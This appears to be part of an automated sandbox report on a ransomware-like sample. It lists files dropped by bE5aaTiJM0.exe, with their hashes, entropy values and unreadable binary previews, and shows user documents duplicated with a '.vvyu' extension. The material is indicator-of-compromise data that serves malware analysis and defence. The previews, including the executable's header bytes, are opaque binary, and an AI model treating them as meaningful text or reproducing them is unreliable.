.c.@-....R.h........]P..Cr......./5Y>KC..8.Cm/...5L.R.;....V,y.D./.9O{v.R.........n.y.....%(..4..O.z..>.....GV}U..,f.q..=...w..2)..+r...........'.....Ks/%..r..)S.&H_._0.......sK]C....o.=..P1'T..X..3.G....(..&b..c.....'-0.)....Iw......Q........9-......vk..&..B.>N...`5.k.:.tr...O.....%...s.....s.sk..,9zg.E)lr.=...^{Iu.`e...l.h..Y.K....R.....'..T..i...jE.2\.... .f..5P..[...@`%....;`..U.J.tY......,8....s...m.G.L........P.?...'=..d.J1.Bv=..X.x...._..b*\xb..U.Q...........K.Ys"..L.[.SHx.....Bro.}..,...L...=.h.,..>..D!KNV #..B(q..fKp<..

C:\Users\user\Desktop\TQDFJHPUIU.png

Download File

Process:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.844589530781431
Encrypted:	false
SSDEEP:	24:bnT2t5StHMQFk8Wvd2OKUxjmzdwec/tZvVvFAVPBP/vRCsbD:byt58Rid8OKYjmz2XTsPBomD
MD5:	99054914A78FBE5AA36B5917939BCF93
SHA1:	CA36AA624E4FA6AFE18C0E96217D48FC5A4BBBF7
SHA-256:	8F2B28A3D06863D41755235A7A3B24FECA431A118621ABA8144D19C14572142F
SHA-512:	0D3B6E9B297FF92C7138B8A30D2359C438E285C8A505ABEF1B4B1361E9C2F19A31370FBB454A59E1200ADFA5832DA5C591CA73215C04B63E8471796CB845A96E
Malicious:	true
Preview:	TQDFJW.1..aQ./W..@.>y..+$H.X..3.(.3..D...g..A.P..J..h..H..8.X..5.....y...G'..-.M.3..H...J........A..`O..o..hZ..m.K[eN..E....#3.2v..$...%....N.~...Y.PX....F...Vg.d2O.../.x.n...S.T.4....\3+...B....4..Pu....0.X@W....p...........i....#0.yI.]:j.q..?0.+.O....h..!.kS....O..V.B..A....-M..f`.;K...%.+.........<Kaz...<...s}..Mf.....Ec..B...L....{v..@./.&.z.~.Ja..L....}..A...s.uB..K1.n..[.E..ih...`..[.d.k.W.F...L.:....\|"Z.]....I..~f....W.n_.....9z...>^.)l6;@=...P3.q<......FK...<+...1'c....?...S.h..T.w..x.7...Y..}..l......E....$m.o....S{_...88O...d.[..#...h:...\|.,..9R..(..~...$...DD...D=..L.............[..;..:;....N...i.;..J../".....a..........E..`.#EI..C..F....\.......}......q.....+.nnAz...n..P#..~\|..v{....W....L...2&y.\|].}2.Sq..$~......5.#....U.....l.c......(..Hl.K8.2.NU.R...h.-./A...$........<.e..../Q..!7.Q..F.K.......xG.c..S....F...-.~...,.9....'...m.{.R".n.\|.F.pf....7..^^6-.$..@.H(.....U9.hZ3.#..u.\|...$r.z..(*.N.D....".?& .@m....A.

C:\Users\user\Desktop\TQDFJHPUIU.png.vvyu (copy)

Download File

Process:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.844589530781431
Encrypted:	false
SSDEEP:	24:bnT2t5StHMQFk8Wvd2OKUxjmzdwec/tZvVvFAVPBP/vRCsbD:byt58Rid8OKYjmz2XTsPBomD
MD5:	99054914A78FBE5AA36B5917939BCF93
SHA1:	CA36AA624E4FA6AFE18C0E96217D48FC5A4BBBF7
SHA-256:	8F2B28A3D06863D41755235A7A3B24FECA431A118621ABA8144D19C14572142F
SHA-512:	0D3B6E9B297FF92C7138B8A30D2359C438E285C8A505ABEF1B4B1361E9C2F19A31370FBB454A59E1200ADFA5832DA5C591CA73215C04B63E8471796CB845A96E
Malicious:	false
Preview:	TQDFJW.1..aQ./W..@.>y..+$H.X..3.(.3..D...g..A.P..J..h..H..8.X..5.....y...G'..-.M.3..H...J........A..`O..o..hZ..m.K[eN..E....#3.2v..$...%....N.~...Y.PX....F...Vg.d2O.../.x.n...S.T.4....\3+...B....4..Pu....0.X@W....p...........i....#0.yI.]:j.q..?0.+.O....h..!.kS....O..V.B..A....-M..f`.;K...%.+.........<Kaz...<...s}..Mf.....Ec..B...L....{v..@./.&.z.~.Ja..L....}..A...s.uB..K1.n..[.E..ih...`..[.d.k.W.F...L.:....\|"Z.]....I..~f....W.n_.....9z...>^.)l6;@=...P3.q<......FK...<+...1'c....?...S.h..T.w..x.7...Y..}..l......E....$m.o....S{_...88O...d.[..#...h:...\|.,..9R..(..~...$...DD...D=..L.............[..;..:;....N...i.;..J../".....a..........E..`.#EI..C..F....\.......}......q.....+.nnAz...n..P#..~\|..v{....W....L...2&y.\|].}2.Sq..$~......5.#....U.....l.c......(..Hl.K8.2.NU.R...h.-./A...$........<.e..../Q..!7.Q..F.K.......xG.c..S....F...-.~...,.9....'...m.{.R".n.\|.F.pf....7..^^6-.$..@.H(.....U9.hZ3.#..u.\|...$r.z..(*.N.D....".?& .@m....A.

C:\Users\user\Desktop\ZGGKNSUKOP.png

Download File

Process:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.825333276353576
Encrypted:	false
SSDEEP:	24:ktClLasWs5v3ajdAbrVy2PsHGU9RUwkZLB+ZLjiLjZ4qnaX0tpeRlYBsbD:7lR5vWaXVgHGU94ZBvZ4qna0peQmD
MD5:	DC39F09D4001B1CBE338745731EE9071
SHA1:	858FAE1F1B7330D55787D73E70B630E30550268C
SHA-256:	74869268D2C0DDD5A0B19EA648169E72DCD29A059C53E7F26151E18E9C83B996
SHA-512:	14A7172C0A113628A5415AE7E7EE9875DC7B58C448FB3AD206F27F7C1BE8CE38A2A87AD3E6D7F659612BAD1625C9ABE4C3365AD7DEC5CF251C0F790C986C6F03
Malicious:	false
Preview:	ZGGKN. .E.Gr....l.0.x.B...hJE..3.XBFo3..z.pf..!G.....BR..4`H?.~......c....)=..0U.&.@iVKQ....N0...<...i]%h.......@e...%.k..).....`...s..].n.BLg;...........m...t....^7..GD.H..a."D...T..\T...a[.d.......R.T.+.4......l.....G..k?vz...ak.<....Fg..V#qA...3o.F..aQ.\.G.?.X.U............6.{....xG.u5....W#.[..J..v-./..W..7...W....v.v.Kh.2.z.;6..J...y..#.x...8.A8.......!........%.....]z..L.M..I.L.'Rl..2.>BU...0.~......[.or..5!L...q.=.#..M(.U}.4o.u.SR.vT.T..Y.....a........m....4....w.2.!@DI..G...H....6.e...2...vB.5..Ac&E...C....*/.s..SK\|..B,ph..-r.H.....X..C,....A....%.\j..S.i..S$J....q..$Jh..K.i'1&.t+.?pm.&.~..dt.b-..}.........u.....Kq.q.YW.N....0....).c..Gm:.A...c.pd."..lD F..u....{s.&..Y...a'..uo0..E.o.h.s..Vp.....e..w...C.Ov... .FN.A.t3....j.l...f...ro..!..Y...j...'.0.p{..k...@...q.X.RQ[mG2...N...4...F....e..............iX..f,..m.L@....[.+..{X.......R.aur.....s......X...\|....>.N.+..R...s..X...Z)5..5e..=..C...y.7....y.....Q.....uO.>.h...<......q..+.

C:\Users\user\Desktop\ZGGKNSUKOP.png.vvyu (copy)

Download File

Process:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.825333276353576
Encrypted:	false
SSDEEP:	24:ktClLasWs5v3ajdAbrVy2PsHGU9RUwkZLB+ZLjiLjZ4qnaX0tpeRlYBsbD:7lR5vWaXVgHGU94ZBvZ4qna0peQmD
MD5:	DC39F09D4001B1CBE338745731EE9071
SHA1:	858FAE1F1B7330D55787D73E70B630E30550268C
SHA-256:	74869268D2C0DDD5A0B19EA648169E72DCD29A059C53E7F26151E18E9C83B996
SHA-512:	14A7172C0A113628A5415AE7E7EE9875DC7B58C448FB3AD206F27F7C1BE8CE38A2A87AD3E6D7F659612BAD1625C9ABE4C3365AD7DEC5CF251C0F790C986C6F03
Malicious:	false
Preview:	ZGGKN. .E.Gr....l.0.x.B...hJE..3.XBFo3..z.pf..!G.....BR..4`H?.~......c....)=..0U.&.@iVKQ....N0...<...i]%h.......@e...%.k..).....`...s..].n.BLg;...........m...t....^7..GD.H..a."D...T..\T...a[.d.......R.T.+.4......l.....G..k?vz...ak.<....Fg..V#qA...3o.F..aQ.\.G.?.X.U............6.{....xG.u5....W#.[..J..v-./..W..7...W....v.v.Kh.2.z.;6..J...y..#.x...8.A8.......!........%.....]z..L.M..I.L.'Rl..2.>BU...0.~......[.or..5!L...q.=.#..M(.U}.4o.u.SR.vT.T..Y.....a........m....4....w.2.!@DI..G...H....6.e...2...vB.5..Ac&E...C....*/.s..SK\|..B,ph..-r.H.....X..C,....A....%.\j..S.i..S$J....q..$Jh..K.i'1&.t+.?pm.&.~..dt.b-..}.........u.....Kq.q.YW.N....0....).c..Gm:.A...c.pd."..lD F..u....{s.&..Y...a'..uo0..E.o.h.s..Vp.....e..w...C.Ov... .FN.A.t3....j.l...f...ro..!..Y...j...'.0.p{..k...@...q.X.RQ[mG2...N...4...F....e..............iX..f,..m.L@....[.+..{X.......R.aur.....s......X...\|....>.N.+..R...s..X...Z)5..5e..=..C...y.7....y.....Q.....uO.>.h...<......q..+.

C:\Users\user\Desktop\bE5aaTiJM0.exe

Download File

Process:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
File Type:	MS-DOS executable
Category:	dropped
Size (bytes):	747854
Entropy (8bit):	7.873862041738502
Encrypted:	false
SSDEEP:	12288:IVYGcGBQDI3i+sk0356C94EnhtoLWBEmlCW85h1bmyA5qKyr3ty+SqOhUII84kh6:IVYWBQDI3OUEnhtjroWW/Hro+TICktgN
MD5:	1D3EBDBE2B824096D3190E39DF4F491A
SHA1:	A1508C232B5637B7F9B3ED981316A208B936C786
SHA-256:	88DECACA5765CE02F642ADF0AAC7F67F99975B5CA721B04D4339ED875AE28DDB
SHA-512:	9027BD7BFC6E74AE18A9AC6DD041307B4AE83B8BEE414F08A2B0D9B7B6F9A1213B90AD89922317E4EAF942EE646C3A690379B8F438606051B951933E68E43DBF
Malicious:	true
Preview:	MZ.....n..........&5..f.@...~&..V.!.....bt.....RJ,..=.6.@...f.......N..A..x&.....q....]._$t..q........$:.'.@j#..f...q.i-....U?..uX.O.....z...aF@/....w.........Ng}.....e...4.f.p.e^u.....w.J/........f.M.C..dHx.....={...s......d6...U0...vp.{.......` Z.\..MS..x<.7.......K4..0...b.][..F..#..,.j....:......,z.&l..w...z>.pu.j.._V}..JrL...m.....n..W.$....S...paE.B....?m.z.;..e....M.Pj...#.o..).O.H{.m%3.....4\|.....:..i.V_.cA\yU.S..Cjg..ase@.2.FP...,...........8.=...o...N1t.$(...j@P*....Q^.X..$.R,.;,.."....;.k.......0.gw&.......+0..U.?.7..j.v.\L..v;.....hWo..%#.>.6Vx........W=].Nc.n...E..[.Cj.dTxd......w.8..G!...'....]..'2B...aQ.3c.4....qv.PsX.......a...'.1U..L..Y.....P...]m;n.J...V..0...%.0u....&..LZY...f.^<hR.M...cv..?.......=Q.9O&.r._;hO...m..H,...-...mI..S..h.H3!....9....akX.j...'.3w........+......ztZ..@..x6....1q..\|yr.%..M.zX>.cF\.\|D=.;~.OG.....o...6.;....5].. y....p..O./#1.~Xm.I.\.._..P..&.eJ..sr.h.....I...p.JB.XT.D~....0..:....3.....b

C:\Users\user\Desktop\bE5aaTiJM0.exe.vvyu (copy)

Download File

Process:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
File Type:	MS-DOS executable
Category:	dropped
Size (bytes):	747854
Entropy (8bit):	7.873862041738502
Encrypted:	false
SSDEEP:	12288:IVYGcGBQDI3i+sk0356C94EnhtoLWBEmlCW85h1bmyA5qKyr3ty+SqOhUII84kh6:IVYWBQDI3OUEnhtjroWW/Hro+TICktgN
MD5:	1D3EBDBE2B824096D3190E39DF4F491A
SHA1:	A1508C232B5637B7F9B3ED981316A208B936C786
SHA-256:	88DECACA5765CE02F642ADF0AAC7F67F99975B5CA721B04D4339ED875AE28DDB
SHA-512:	9027BD7BFC6E74AE18A9AC6DD041307B4AE83B8BEE414F08A2B0D9B7B6F9A1213B90AD89922317E4EAF942EE646C3A690379B8F438606051B951933E68E43DBF
Malicious:	true
Preview:	MZ.....n..........&5..f.@...~&..V.!.....bt.....RJ,..=.6.@...f.......N..A..x&.....q....]._$t..q........$:.'.@j#..f...q.i-....U?..uX.O.....z...aF@/....w.........Ng}.....e...4.f.p.e^u.....w.J/........f.M.C..dHx.....={...s......d6...U0...vp.{.......` Z.\..MS..x<.7.......K4..0...b.][..F..#..,.j....:......,z.&l..w...z>.pu.j.._V}..JrL...m.....n..W.$....S...paE.B....?m.z.;..e....M.Pj...#.o..).O.H{.m%3.....4\|.....:..i.V_.cA\yU.S..Cjg..ase@.2.FP...,...........8.=...o...N1t.$(...j@P*....Q^.X..$.R,.;,.."....;.k.......0.gw&.......+0..U.?.7..j.v.\L..v;.....hWo..%#.>.6Vx........W=].Nc.n...E..[.Cj.dTxd......w.8..G!...'....]..'2B...aQ.3c.4....qv.PsX.......a...'.1U..L..Y.....P...]m;n.J...V..0...%.0u....&..LZY...f.^<hR.M...cv..?.......=Q.9O&.r._;hO...m..H,...-...mI..S..h.H3!....9....akX.j...'.3w........+......ztZ..@..x6....1q..\|yr.%..M.zX>.cF\.\|D=.;~.OG.....o...6.;....5].. y....p..O./#1.~Xm.I.\.._..P..&.eJ..sr.h.....I...p.JB.XT.D~....0..:....3.....b

C:\Users\user\Documents\BJZFPPWAPT.mp3

Download File

Process:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.872320074272342
Encrypted:	false
SSDEEP:	24:oxlemKcGm+vn6d1r4TxgjYeOWlaUlWSLu7PHDpF+kd7NTrVo/usbD:ox4tcT+fE94TxgjYeOWlBtLmH2E922mD
MD5:	893E4E3C6E9FF6E7FB4B1BE0B93FBB0B
SHA1:	BFC160EC8570146987A921B73B946CDF4F47F2DC
SHA-256:	86AE91F30BE27537D953755096EA0B41C514DCAF05444EE0DB048670DD99FBC4
SHA-512:	1FDC5690E4C85BC6C7902A7338D8477691EE8496DECC8DCEA9BA3E99BF41EA84CD614D00C36DB90091229D382B31E831BFF11B45D28794DBB4275C5430639D01
Malicious:	false
Preview:	BJZFP...#..B.....E...d....#....Q...$.....H/A.r..C+....2GW.!#..>....;-..;k[......C.$4.-.......c.....n.L.@1.".b..h..y..@..T.p3.I,p.'.,..,~<......k..:;f..........r&\|.UEO....5...]3i......l.(...Tb..#~....2........'.....Vo.T...f..............g...].....x...ZS.......)..7..g.Y.'..\|.........7P.p+O...M..Y.c.`....j.Uy.0[t...vuqS......zw....".V.'..&...u.d1p..=.[H.4Q.6....g....&}.n....%..L.h:.\|Rs.......-"...=...z...)....1y....6.J...M.850y.t+n..l.=.l.h(..(.....N.^._..)Q[~..I.](2&.o..n.y.w.Uq^R...%.Oo....-.o...^z...NF.._.(..3?.U..R.g.[S...C/.V.......Y.'.aI#T.L...iB.J72./p.0......T.^....<..tW...%d..j.$..p#I..(...yM.2...0.g.......o..2..a^5.eX.K.Vc.zq....N.!..^6x.....9....X.g`(.3..._.x=.c..y.;........>.\|.].Z..0.......e....aQj.}..}._CS#~l..bY.p.8.x...X. ......I.F.iM.U.......:....-..L!..9...acd.2i.....!..;d..R.`..j.Bar....Q#3@...T=.i{.WiG"...2..q.%.........'T...'....%.H#........l.../.mj./.{..k.M.W.elrGB....& ....(..).......82....8.v.....D..V...#.......M

C:\Users\user\Documents\BJZFPPWAPT.mp3.vvyu (copy)

Download File

Process:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.872320074272342
Encrypted:	false
SSDEEP:	24:oxlemKcGm+vn6d1r4TxgjYeOWlaUlWSLu7PHDpF+kd7NTrVo/usbD:ox4tcT+fE94TxgjYeOWlBtLmH2E922mD
MD5:	893E4E3C6E9FF6E7FB4B1BE0B93FBB0B
SHA1:	BFC160EC8570146987A921B73B946CDF4F47F2DC
SHA-256:	86AE91F30BE27537D953755096EA0B41C514DCAF05444EE0DB048670DD99FBC4
SHA-512:	1FDC5690E4C85BC6C7902A7338D8477691EE8496DECC8DCEA9BA3E99BF41EA84CD614D00C36DB90091229D382B31E831BFF11B45D28794DBB4275C5430639D01
Malicious:	false
Preview:	BJZFP...#..B.....E...d....#....Q...$.....H/A.r..C+....2GW.!#..>....;-..;k[......C.$4.-.......c.....n.L.@1.".b..h..y..@..T.p3.I,p.'.,..,~<......k..:;f..........r&\|.UEO....5...]3i......l.(...Tb..#~....2........'.....Vo.T...f..............g...].....x...ZS.......)..7..g.Y.'..\|.........7P.p+O...M..Y.c.`....j.Uy.0[t...vuqS......zw....".V.'..&...u.d1p..=.[H.4Q.6....g....&}.n....%..L.h:.\|Rs.......-"...=...z...)....1y....6.J...M.850y.t+n..l.=.l.h(..(.....N.^._..)Q[~..I.](2&.o..n.y.w.Uq^R...%.Oo....-.o...^z...NF.._.(..3?.U..R.g.[S...C/.V.......Y.'.aI#T.L...iB.J72./p.0......T.^....<..tW...%d..j.$..p#I..(...yM.2...0.g.......o..2..a^5.eX.K.Vc.zq....N.!..^6x.....9....X.g`(.3..._.x=.c..y.;........>.\|.].Z..0.......e....aQj.}..}._CS#~l..bY.p.8.x...X. ......I.F.iM.U.......:....-..L!..9...acd.2i.....!..;d..R.`..j.Bar....Q#3@...T=.i{.WiG"...2..q.%.........'T...'....%.H#........l.../.mj./.{..k.M.W.elrGB....& ....(..).......82....8.v.....D..V...#.......M

C:\Users\user\Documents\BJZFPPWAPT.pdf

Download File

Process:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.830687836402105
Encrypted:	false
SSDEEP:	24:eG6PsLb0bO5fV+DnLX19ppR4fKYSDMKntJn7MSf2RsMOkLrAS1BmIhhTTY6sbD:kUAO5fADnLHiKdYK/n7ydvAyHTvmD
MD5:	E3B79D545C811B21849F7E051563E5D3
SHA1:	5A17D24CD08CEC635AEDEA8C9689BC7A39B9E51D
SHA-256:	A1E48E978097F8E0BF6C3F999302EEFABB6674E4A041CA9031892A129EF30E90
SHA-512:	B588786E3FA5A472CCC598BF29D2840579CFDD1403DAD5CD109B7B8DBBF46F37C8E42945B15DDC7F9582CF4B0DEAA1D9D15AF2B1005150DDB22C690C8B1F4A26
Malicious:	false
Preview:	BJZFP.~.o....d..%.U..^..$..<...e...VC.-..c...y.b..[.{G..D...I.`.:...Y..Y.%.......\..@...%(&.!.f...k.....@YI..9...X.........?..o.49._..v...V.(X.<P..U.c..(....Q....4...Gb:.h.9n.e@.J.s.r`.$.48.t.).....P.4q....].....hE.%.........U....(.s:./.&7.RHf[.M....m4V.^P.f.l.@..........40.e......K.3Pe^...:d.......[Y..iRO"...".....>...@.uE..)0..-.Ka:.....8......f..1p.s.8m3...V..M1`....nKNZ..U..V:ae....Q`.;I...!.../..k}]+2..Bd.....{.... .7...a..$eD).x....t_..{.=...Zc...x!P~.g..?..^.......I,,U.v {c0....Y.J(>.R@{.w..6\|.?W..;.;..K)5'~~...f&YJ.1ADp{(.^..\.[GMI....v....E.>...s.....[..g...6o.......)._.]a...-^..q".Fj.x.....J{.D.G.....'...nq........@....1.(.8."..U..v....b...X.C7...9j<..B9W.......O.0..0?....F.;.'2..2G..m8d.3U....7h.....Q......]....R..4%.u....i..Pc.mP...R...m.cp.W..h..0=a.=..o.9i[..gu.....2.&N..xYJS.\..V.1.S9.Df.p;..M...d....'../..#...hXu....lCd...H?.m.,...tA.y.T...G.^..eQ..1.....L3..c..p$6M...l;{{........K...S..q.y.^.?.".+....X...KiS.W

C:\Users\user\Documents\BJZFPPWAPT.pdf.vvyu (copy)

Download File

Process:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.830687836402105
Encrypted:	false
SSDEEP:	24:eG6PsLb0bO5fV+DnLX19ppR4fKYSDMKntJn7MSf2RsMOkLrAS1BmIhhTTY6sbD:kUAO5fADnLHiKdYK/n7ydvAyHTvmD
MD5:	E3B79D545C811B21849F7E051563E5D3
SHA1:	5A17D24CD08CEC635AEDEA8C9689BC7A39B9E51D
SHA-256:	A1E48E978097F8E0BF6C3F999302EEFABB6674E4A041CA9031892A129EF30E90
SHA-512:	B588786E3FA5A472CCC598BF29D2840579CFDD1403DAD5CD109B7B8DBBF46F37C8E42945B15DDC7F9582CF4B0DEAA1D9D15AF2B1005150DDB22C690C8B1F4A26
Malicious:	false
Preview:	BJZFP.~.o....d..%.U..^..$..<...e...VC.-..c...y.b..[.{G..D...I.`.:...Y..Y.%.......\..@...%(&.!.f...k.....@YI..9...X.........?..o.49._..v...V.(X.<P..U.c..(....Q....4...Gb:.h.9n.e@.J.s.r`.$.48.t.).....P.4q....].....hE.%.........U....(.s:./.&7.RHf[.M....m4V.^P.f.l.@..........40.e......K.3Pe^...:d.......[Y..iRO"...".....>...@.uE..)0..-.Ka:.....8......f..1p.s.8m3...V..M1`....nKNZ..U..V:ae....Q`.;I...!.../..k}]+2..Bd.....{.... .7...a..$eD).x....t_..{.=...Zc...x!P~.g..?..^.......I,,U.v {c0....Y.J(>.R@{.w..6\|.?W..;.;..K)5'~~...f&YJ.1ADp{(.^..\.[GMI....v....E.>...s.....[..g...6o.......)._.]a...-^..q".Fj.x.....J{.D.G.....'...nq........@....1.(.8."..U..v....b...X.C7...9j<..B9W.......O.0..0?....F.;.'2..2G..m8d.3U....7h.....Q......]....R..4%.u....i..Pc.mP...R...m.cp.W..h..0=a.=..o.9i[..gu.....2.&N..xYJS.\..V.1.S9.Df.p;..M...d....'../..#...hXu....lCd...H?.m.,...tA.y.T...G.^..eQ..1.....L3..c..p$6M...l;{{........K...S..q.y.^.?.".+....X...KiS.W

C:\Users\user\Documents\BJZFPPWAPT.xlsx

Download File

Process:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.824404134254253
Encrypted:	false
SSDEEP:	24:wyIFj4w6V5ECnNjITLa4XiUbSuWk0va0SSfYTjmP1ZeNpxuZ1FQT+IBlsbD:wyPwAbjLUdSut0SjEi41ZMqFo+IbmD
MD5:	AC3C67CEC724C1DCC3DC3687FA9CBD13
SHA1:	E83FDCE1B8BB6B3DA72A6ABD1FE44E99FA8A2102
SHA-256:	C3BCDE55BDE241FE46385E835B72F0B49858BCCA5568CEA30BB019B070DAD7A2
SHA-512:	AD854B775C430C0111772BEE7B661F04C95CE50DCC68E1AA34421D2AE821321B6F2C89DDF984785BF65555E9A42287446A0477FF1FC6364378E246D71D03659A
Malicious:	false
Preview:	BJZFP&2..&M..... ...xRn2.`..G.@Q..a3.....6.V..1..`........>$...9 ...{....O..H....>c.SF.(....y4.X....-....2..!X.....+.c...R22.....>..Z...{..k.........m..A...o.....z......kn.`..S0..J)..$...u...:...d. .....G.:.V.L.n.....J..M%.)[.6A..EfcGZ...}e./.......9f.L,...%..1......tK..... ...D..:lv>].e/n..n....<..0........6.N..3.<..~......+zu9U\|...&.N..asS...^...K....v......O....d.....:....w....._,F-.......:N.5.=.....H.wq...:..s.8i.Feyz.h...BPd....%$.;b.....6.'...8..U...C......R..mm7..GF...2E......O_.+ot....N.vE..6J._a.}0.a....k.`2.Ol...........T.0..0Vi..W].&....o?-...3..^..l...u...+.ot....rJb.{f...{K!....et..$.K.230P..Pag2M.'....5.CT...(.j.}W......l.J..V..@.Rh\|..F..9..X...y...zT....t.n..c..,....@....(.]..+.+...@..DI.....W.n..4./,........Ho.d..?=..d....{........7x<....a.....Pl.s.a..E.\|_..x....w..2&J!.....c...J.....qyh.+jcm.5...4.#..z..'.6....E......u......k0.&...R..@P... ..#%Bc{........?*.....^S.U.2gm.....q....VJ.O4.F.?.1...<...

C:\Users\user\Documents\BJZFPPWAPT.xlsx.vvyu (copy)

Download File

Process:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.824404134254253
Encrypted:	false
SSDEEP:	24:wyIFj4w6V5ECnNjITLa4XiUbSuWk0va0SSfYTjmP1ZeNpxuZ1FQT+IBlsbD:wyPwAbjLUdSut0SjEi41ZMqFo+IbmD
MD5:	AC3C67CEC724C1DCC3DC3687FA9CBD13
SHA1:	E83FDCE1B8BB6B3DA72A6ABD1FE44E99FA8A2102
SHA-256:	C3BCDE55BDE241FE46385E835B72F0B49858BCCA5568CEA30BB019B070DAD7A2
SHA-512:	AD854B775C430C0111772BEE7B661F04C95CE50DCC68E1AA34421D2AE821321B6F2C89DDF984785BF65555E9A42287446A0477FF1FC6364378E246D71D03659A
Malicious:	false
Preview:	BJZFP&2..&M..... ...xRn2.`..G.@Q..a3.....6.V..1..`........>$...9 ...{....O..H....>c.SF.(....y4.X....-....2..!X.....+.c...R22.....>..Z...{..k.........m..A...o.....z......kn.`..S0..J)..$...u...:...d. .....G.:.V.L.n.....J..M%.)[.6A..EfcGZ...}e./.......9f.L,...%..1......tK..... ...D..:lv>].e/n..n....<..0........6.N..3.<..~......+zu9U\|...&.N..asS...^...K....v......O....d.....:....w....._,F-.......:N.5.=.....H.wq...:..s.8i.Feyz.h...BPd....%$.;b.....6.'...8..U...C......R..mm7..GF...2E......O_.+ot....N.vE..6J._a.}0.a....k.`2.Ol...........T.0..0Vi..W].&....o?-...3..^..l...u...+.ot....rJb.{f...{K!....et..$.K.230P..Pag2M.'....5.CT...(.j.}W......l.J..V..@.Rh\|..F..9..X...y...zT....t.n..c..,....@....(.]..+.+...@..DI.....W.n..4./,........Ho.d..?=..d....{........7x<....a.....Pl.s.a..E.\|_..x....w..2&J!.....c...J.....qyh.+jcm.5...4.#..z..'.6....E......u......k0.&...R..@P... ..#%Bc{........?*.....^S.U.2gm.....q....VJ.O4.F.?.1...<...

C:\Users\user\Documents\BNAGMGSPLO.docx

Download File

Process:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.860632344521208
Encrypted:	false
SSDEEP:	24:RKksA3tkglLDr0o+IjX1yRxBdDer7DPxg+koZMD+UDB8X1vsbD:PsA9kglLDr09IbQXqr7qNIW+imtmD
MD5:	86D31A2A0B9451F418E833CA4B7793BA
SHA1:	CFF055BA53CEA60323F52264B430471AA424C992
SHA-256:	E0C4B1845FAE4EC22CD99AF87BDD94600859431D9578DDF19C4E206D1A8C3B1F
SHA-512:	93ED992096F663D791DEDF7BC36D7AAD2B02FF6F175B435782A88F319652CC677999A044EDAF946CDC4CD88452D08F29AC5C8C5171D9BB25D18C82A562D86999
Malicious:	false
Preview:	BNAGM]b.}F...:......%.T1m..-(...]v........MT#. .....M.h...s...?.s'..&.`g.NxKn.....{E7.O.}...BPz#OL...m.p......)...$.....^..u...t.>......4....[..V:.R.P...6.2......tC<.Fi.T.`....nEQ..Sh...'...'M...9J..S3..L.}S.T.i.,.5.........$VR.8Y..(@.0Z.k..N..c?e..l..S..i...K&.......3.B...\e......$S.....&.n.:1.-.....P..XS.h.\.+.B\|...U .....\We...o>wi.......u.+.}......a5Pu.....o3...#.....i...i.Q..or...8......g..g^....T]`.X....P.`R..a.v..j...~yz`....6..;&..)...G~N...y....1........y..g...~2a.o.U.s...I..ou.......~.7N"...yWI[..p[...u......&.?!d_..b..K.....7p........[l.z...e..;...3.q.%....tb.......z..=6+......t.w:......./..A4s.`.ty.j....<.q...t.p[.?.cv.@D.F...x...RV.i......b.,.G.73N..fDom...s.k..4~....Jz..s..pK.<{......'....:.98Z.U......n"<.\:...'8r.*F...6...J[jy.$..pC.....Il.b.....Yf"..%..^%k.....,8.\|.$O._..X.~J]}.5.&G..]...z.Y.rj''.e....N.....}...s.uY.:E.@...N9....\.<!g,80{-6..r.C......Y.X......-.J.:.H..~>.j........s...\..W.<...F.....n......

C:\Users\user\Documents\BNAGMGSPLO.docx.vvyu (copy)

Download File

Process:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.860632344521208
Encrypted:	false
SSDEEP:	24:RKksA3tkglLDr0o+IjX1yRxBdDer7DPxg+koZMD+UDB8X1vsbD:PsA9kglLDr09IbQXqr7qNIW+imtmD
MD5:	86D31A2A0B9451F418E833CA4B7793BA
SHA1:	CFF055BA53CEA60323F52264B430471AA424C992
SHA-256:	E0C4B1845FAE4EC22CD99AF87BDD94600859431D9578DDF19C4E206D1A8C3B1F
SHA-512:	93ED992096F663D791DEDF7BC36D7AAD2B02FF6F175B435782A88F319652CC677999A044EDAF946CDC4CD88452D08F29AC5C8C5171D9BB25D18C82A562D86999
Malicious:	false
